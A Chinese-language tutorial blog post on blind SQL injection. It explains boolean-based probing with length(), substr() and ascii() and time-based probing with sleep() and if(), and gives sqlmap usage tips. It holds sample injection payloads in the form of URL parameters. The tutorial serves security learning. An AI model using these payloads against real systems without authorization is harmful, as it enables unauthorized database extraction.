SQL注入——盲注

本文介绍了盲注攻击的基本概念,包括显错注入、无回显盲注和布尔型盲注,通过length(),substr(),ascii()等函数的应用进行示例。同时讲解了延时注入的Sleep函数使用方法,并提到了sqlmap工具在盲注检测中的作用。
摘要由CSDN通过智能技术生成

一、盲注介绍

本质:用户输入的数据当作代码去执行

定义:
    盲注对应的是显错注入。但是很多时候,web服务器关闭了错误回显,这时候我们就无法实行sql注入了吗?明显不是这样的。
    盲注在服务器没有回显的时候完成了注入攻击,由于没有错误回显,对于攻击者来说,就缺少了“调试信息”

分类:

时间注入(延时注入):面返回值只有一种true,无论输入任何值,返回情况都会按正常的情况来处理。假如特定的时间函数,通过查看web页面返回的时间差来判断注入的语句是否正常。

布尔型盲注分局: 根据注入信息返回true和false,也就没有了之前的报错信息

二:布尔型盲注常用的函数

1.length() 返回字符串的长度
   应用:select length(database());//获取当前数据库名的长度
   应法:url id=1 and length(database())=12 //判断数据库名的名长度是否是12位。不是就来回换,(用二分法猜测)
   
2.substr() 截取字符串
   用法:substr(操作的字符串,第几位开始,分割几位)
   应用:select substr(database(),1,1)// 截取当前数据库名的第一位
   
3.ascii()
   用法:select ascii(‘n’)//返回110,这是n的ascii编码
   应用:where id=1 and ascii(substr(database(),1,1))>120
   //判断当数据库名的第一个字符的ascii是否大于120
   //利用二分法就能判断出数据库名的第一个字符和整个数据库名
4.手工很累.可以用工具 burp  sqlmap ,很快就可以爆出当前数据库的名称。这就是盲注的原理,后边基本都一样
 
   sqlmap跑盲注如果没跑出来,可能是等级的问题,提高测试等级试试
   sqlmap -u “url” --level 3
  
   如果知道格式,可以手动帮助闭合
   sqlmap -u “url” " //这个额外的"出错可以换成url编码试试(%22)直接补充"
   因为无法闭合造成问题
   改为:sqlmap -u url%22 或者 sqlmap -u “url”%22
  
***补充:清理sqlmap的缓存,–flush-session

三、延时注入(延时注入)

Sleep函数:
  sleep(n) //n为秒数,
  应用:id = 1 and sleep(10) --suibian //如果页面停止10秒,在正常返回,即存在延时注入
  
  if(句式一;句式二;句式三) //第一个是判断句,如果句式一为真,则执行句式二;否则执行句式三
  用法:select if(1=1,5,‘a’) //返回5
     select if(1=2,5,‘a’) //返回a
     
  应用:select if(ascii(substr(database(),1,1))=50,sleep(5),‘a’)//接下来就正常操作
  
  注意:sql中没有“==”这种用法

四、总结

  • 掌握盲注基本的操作
  • 多多练习,手工注入+sqlmap跑

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值